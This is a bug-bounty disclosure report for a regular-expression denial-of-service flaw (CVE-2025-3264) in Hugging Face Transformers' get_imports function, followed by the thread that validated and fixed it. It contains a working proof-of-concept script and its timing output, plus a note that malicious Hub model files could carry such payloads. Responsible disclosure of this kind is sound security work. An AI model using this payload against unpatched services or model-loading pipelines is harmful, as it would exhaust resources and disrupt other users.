

Regular expression Denial of Service - ReDoS in [huggingface/transformers](#)

✓ Valid

Reported on Mar 18th 2025

Description

A regular expression denial of service (ReDoS) vulnerability has been identified in the Hugging Face Transformers library's dynamic module utilities. The vulnerability exists in the `get_imports()` function in `dynamic_module_utils.py`, which uses a vulnerable regular expression pattern to filter out try/except blocks from Python code. The regex pattern `\s*try\s*:. *?except.*?:` can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking.

Technical Details

- **Affected Component:** `transformers.dynamic_module_utils.get_imports`
- **Vulnerability Type:** Regular Expression Denial of Service (ReDoS)
- **Attack Vector:** Maliciously crafted files containing nested try/except blocks

The proof of concept demonstrates that by providing increasingly long strings with repeated try/except patterns, the execution time grows exponentially, indicating catastrophic backtracking in the underlying regular expression matching.

Reproduction

Install the dependencies:

```
pip install transformers
pip install tensorflow
```

Run the following code:

```
from transformers.dynamic_module_utils import get_imports
import time

PAYLOAD_FILE_PATH = '/tmp/payload'

def generate_payload(i):
    return 'try:' * i + 'except' * i
```

```
def write_payload_to_file(payload, file_path):
    with open(file_path, 'w') as f:
        f.write(payload)
    return file_path

for i in range(1, 10000, 100):
    payload = generate_payload(i)
    payload_file = write_payload_to_file(payload, PAYLOAD_FILE_PATH)

    start = time.perf_counter()
    get_imports(payload_file)
    end = time.perf_counter()

    execution_time = end - start
    print(f'Payload length {i}, execution time: {execution_time:.4f} seconds')
```

Example output:

```
Payload length 1, execution time: 0.0002 seconds
Payload length 101, execution time: 0.0147 seconds
Payload length 201, execution time: 0.1167 seconds
Payload length 301, execution time: 0.3779 seconds
Payload length 401, execution time: 0.8886 seconds
Payload length 501, execution time: 1.7277 seconds
Payload length 601, execution time: 2.9801 seconds
Payload length 701, execution time: 4.7262 seconds
Payload length 801, execution time: 7.0452 seconds
Payload length 901, execution time: 10.0176 seconds
Payload length 1001, execution time: 13.7807 seconds
Payload length 1101, execution time: 18.2394 seconds
Payload length 1201, execution time: 23.7941 seconds
Payload length 1301, execution time: 30.1834 seconds
```

The provided proof of concept demonstrates the vulnerability by:

- Generating payloads of increasing length using repeated try/except blocks
- Writing the payload to a temporary file
- Measuring execution time of get_imports() for each payload length
- Showing exponential growth in processing time as input length increases

Impact

In the context of machine learning applications using the Transformers library, this vulnerability could lead to:

- **Remote Code Loading Disruption:**
 - When users load custom models from the Hub that contain Python source files
 - The vulnerability could be triggered by malicious model files containing crafted try/except patterns

- This could affect any application that loads custom models with code

- **Resource Exhaustion in Model Serving:**

- Model serving infrastructure could become unresponsive when processing requests that trigger the vulnerable code
- CPU resources would be consumed by regex processing instead of model inference
- This could affect multiple users in shared serving environments

- **Supply Chain Attack Vector:**

- Malicious actors could publish models with crafted Python files to the Hub
- Any downstream users who load these models would be affected
- The impact could spread through model dependencies and pipelines

- **Development Pipeline Disruption:**

- CI/CD pipelines that involve loading custom models could be disrupted
- Development and testing workflows could be significantly slowed or halted

References

- [How to fix a ReDos](#)
- [Similar report #1](#)
- [Similar report #2](#)
- [Similar report #3](#)
- [OWASP - ReDoS](#)

⚙️ We are processing your report and will contact the **huggingface/transformers** team within 24 hours. 10 months ago



Arjun Shibu commented 10 months ago

Researcher

Please note that this is not a duplicate of the issue <https://huntr.com/bounties/4bed1214-7835-4252-a853-22bbad891f98>



huntr-helper has marked this vulnerability as a duplicate of [4bed1214-7835-4252-a853-22bbad891f98](#) 10 months ago

\$ The disclosure bounty has been dropped ✖

\$ The fix bounty has been dropped ✖

★ The researcher's credibility has decreased: -5



huntr-helper commented 10 months ago

Admin

This report was closed because it was determined to be a duplicate of a report submitted on 2024-12-03 10:12:52.352000



Arjun Shibu commented 10 months ago

Researcher

@huntr-helper, as I already mentioned, this is not a duplicate. The vulnerability lies in a different context, please check this

✎ A huntr admin reset this report to a pending state. 10 months ago

✎ A huntr admin reset this report to a pending state. 10 months ago



Michelle Habonneau validated this vulnerability 10 months ago

We have applied a fix in <https://github.com/huggingface/transformers/pull/36964> and will be included in the next release. We'll close the report at next release. Thanks!

\$ **arjunshibu** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2025-3264 assigned to this report. 10 months ago



Michelle Habonneau marked this as fixed in **4.51.0** with commit **0720e2** 9 months ago

\$ The fix bounty has been dropped ✗

✉ We have notified the **huggingface/transformers** maintainers about this report in their weekly follow-up 8 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-3264

Published

Vulnerability Type

CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (5.3)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

4.49.0

Visibility

Public

Status

Fixed

Disclosure Bounty

\$125

Fix Bounty

\$31.25

Found by



Arjun Shibu

@arjunshibu

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)